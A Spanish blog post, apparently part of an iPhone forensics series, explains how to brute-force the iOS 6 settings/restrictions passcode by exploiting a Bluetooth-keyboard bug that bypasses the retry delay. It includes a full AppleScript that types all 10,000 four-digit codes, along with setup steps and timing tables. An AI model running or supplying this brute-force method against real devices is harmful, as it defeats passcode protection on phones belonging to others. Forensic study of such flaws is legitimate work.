Centralizar & Organizar los mejores artículos de Seguridad informática.
Hoy voy a contar un método para crackear el passcode del iPhone.
/******************************
1. Requisitos
2. Pasos previos
3. Fuerza bruta
******************************/
Existen varios métodos para crackear el passcode pero por ahora este es el único que me ha funcionado. A medida que profundice en los demás y los pruebe, iré escribiendo como realizarlos paso a paso.
1. Requisitos
1.1 Ordenador con Mac OS X
Para automatizar el proceso de introducción de códigos se ha usado un Script hecho en AppleScript (es un programa para hacer scripts de forma secilla que corre bajo OS X).
Se podría hacer un script similar usando rutinas de Windows.
1.2 Type2Phone
Es la aplicación que usaremos de puente entre el teclado del mac y el del iPhone. Cuesta 4,99€
1.3 Bluetooth del iPhone activado y emparejado con el ordenador.
Para que el teclado del mac se pueda emparejar con el del iPhone es necesario conectar los dispositivos entre sí a través de bluetooth.
2. Pasos previos
Tal como comenté en la parte tercera, he realizado las pruebas con un iPhone 4S en versión 6.1.1 de iOS.
2.1 Conectamos iPhone por bluetooth y ejecutamos Type2Phone
Empezamos emparejando el iPhone al ordenador por bluetooth.
2.2 Prueba de concepto
El método se aprovecha de un bug (que por lo menos está presente hasta la 6.4) que tras conectar un teclado al iPhone, si introducimos varias veces mal un passcode dentro de los Ajustes NO surte efecto el Delay (de esperar 1, 15, 60,… min) que el iPhone introduce cuando metemos mal más de 5 veces el código.
La técnica del Delay sirve entre otras cosas es para no poder hacer un ataque de fuerza bruta. Sin esta protección sacar el passcode es solo cuestión de tiempo.
Vamos a empezar haciendo una prueba de concepto en el que introduciremos mal la contraseña unas 20 veces (mediante el teclado del mac) y veremos como el teléfono nos dejará seguir insertando códigos sin problema.
Abrimos las preferencias del programa y desactivamos la opción de “Desconectar cuando este en segundo plano” y que “cuando este 5 minutos desocupado” (esta segunda para mayor comodidad mientras preparamos las cosas).
La ruta que es vulnerable al ataque es: Preferencias -> General -> Bloqueo con código
Tras escribir bastantes combinaciones de códigos a través del teclado vemos como la restricción de tiempo que se muestra por pantalla NO es efectiva ya que podemos seguir tecleando.
Sin embargo la restricción de tiempo SI es real para la entrada por pantalla, ya que nos nos dejará teclear nada a través de ella (que no sea el botón cancelar).
3. Fuerza Bruta
Una vez funcionando la prueba de concepto, vamos a automatizar el proceso de introducir números.
3.1 AppleScript
Crhis Russell ha desarrollado este Script que hace esta función.
-- Author Chris Russell -- This script is designed to brute force the restrictions passcode on iPhone -- Assumptions: -- Blutooth is enabled -- Type2Phone App is running and connected to your phone (avail on Mac App Store) -- iPhone is switched on and on the restrictions passcode screen (General - Restrictions) global pinCodeDigit1 global pinCodeDigit2 global pinCodeDigit3 global pinCodeDigit4 set pinCodeDigit1 to 0 set pinCodeDigit2 to 0 set pinCodeDigit3 to 0 set pinCodeDigit4 to 0 on keyStrokeNumber(num) if (num = 0) then tell application "System Events" to keystroke "0" else if (num = 1) then tell application "System Events" to keystroke "1" else if (num = 2) then tell application "System Events" to keystroke "2" else if (num = 3) then tell application "System Events" to keystroke "3" else if (num = 4) then tell application "System Events" to keystroke "4" else if (num = 5) then tell application "System Events" to keystroke "5" else if (num = 6) then tell application "System Events" to keystroke "6" else if (num = 7) then tell application "System Events" to keystroke "7" else if (num = 8) then tell application "System Events" to keystroke "8" else if (num = 9) then tell application "System Events" to keystroke "9" end if end keyStrokeNumber to incrementPIN() if (pinCodeDigit4 = 9) then if (pinCodeDigit3 = 9) then if (pinCodeDigit2 = 9) then set pinCodeDigit1 to pinCodeDigit1 + 1 set pinCodeDigit2 to 0 set pinCodeDigit3 to 0 set pinCodeDigit4 to 0 else set pinCodeDigit2 to pinCodeDigit2 + 1 set pinCodeDigit3 to 0 set pinCodeDigit4 to 0 end if else set pinCodeDigit3 to pinCodeDigit3 + 1 set pinCodeDigit4 to 0 end if else set pinCodeDigit4 to pinCodeDigit4 + 1 end if end incrementPIN to tryPin() keyStrokeNumber(pinCodeDigit1) keyStrokeNumber(pinCodeDigit2) keyStrokeNumber(pinCodeDigit3) keyStrokeNumber(pinCodeDigit4) delay 1 end tryPin try «event ascrgdut» end try -- main application, simple tell application "Type2Phone" to activate repeat 10000 times tryPin() incrementPIN() end repeat
Si leemos el código del Script vemos que primero ejecuta la aplicación type2phone y seguidamente introduce directamente a la aplicación las 10.000 combinaciones posibles con un delay de 1 segundo entre cada una de ellas. He hecho pruebas bajando ese delay y con 0.5 segundos el sistema responde bien y tarda la mitad de tiempo. No lo bajéis más porque en una prueba a 0.1 seg. he tenido que apagar el ordenador de botón ya que el teclado no respondía y no podía parar el Script.
Pegamos el código en AppleScript
Antes de hacer Fuerza bruta sobre el objetivo vamos a ver el resultado de ejecutar el código sobre el Bloc de Notas:
Una vez visto que funciona nos posicionamos en la Ruta Preferencias -> General -> Bloqueo con código y ejecutamos el Script para comenzar la fuerza brutal.
En la aplicación type2phone veremos como van pasando todas las combinaciones una a una.
El método tiene un pequeño problema y es que cuando encuentra el código no nos avisa ni lo muestra por pantalla; simplemente accederemos a las opciones de código de las preferencias. Dentro de lo malo, con que sepamos por donde ha caido más o menos el passcode podemos hacer un sondeo posterior a mano por los códigos cercanos.
De esta manera el tiempo que tardaremos en encontrarlo es:
Delay | Numero de códigos | Tiempo máximo |
---|---|---|
1 | 10.000 | 2:46:40 horas |
0.5 | 10.000 | 1:23:20 horas |
0.3 | 10.000 | 0:50:00 horas |
1 | 1.000 | 0:16:40 horas. |
0.5 | 1.000 | 0:8:20 horas. |
0.3 | 1.000 | 0:5:00 horas. |
Otra opción de búsqueda puede ser ejecutar el código haciendo barridos de 1000 en 1000. De esta manera solo tendremos que estar atentos al millar en el que se muestre la imágen de abajo.
Espero que os haya gustado
Carlos Rebollo – @Charliesec
Carlos@highsec.es
Más información: http://forums.macrumors.com/showthread.php?t=1566207
Publicaciones Anteriores
03- Análisis forense iPhone – Parte III – Copia bit a bit a través de SSH
Publicaciones Siguiente
05- Análisis forense iPhone – Parte V – Cómo crackear / descifrar el Keychain
Los comentarios están cerrados.